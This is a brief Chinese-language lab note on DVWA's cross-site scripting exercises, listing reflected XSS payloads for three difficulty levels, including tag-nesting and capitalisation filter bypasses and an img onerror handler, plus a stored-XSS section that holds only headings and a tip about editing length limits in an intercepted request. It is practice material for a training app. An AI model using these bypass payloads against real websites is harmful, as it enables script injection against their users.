dvwa之xss

反射型

初级　　<script>alert(123456)</script>

 

 中级　　<sc<script>ript>alert(123456)</script>或者<Script>alert(123456)</script>（结果是一样的俩种方式）

 

 高级　　　<img src="" οnerrοr="alert('MA')">

 

 储存型

初级　　

 

 中级

 

 

 

 高级

 

 

 

 后面黑了，是我点的次数太多了，一开始我以为出错了，就多点了几下

 

其实这俩种差不多，无非就是限制了一下字节长度，在抓包里改就行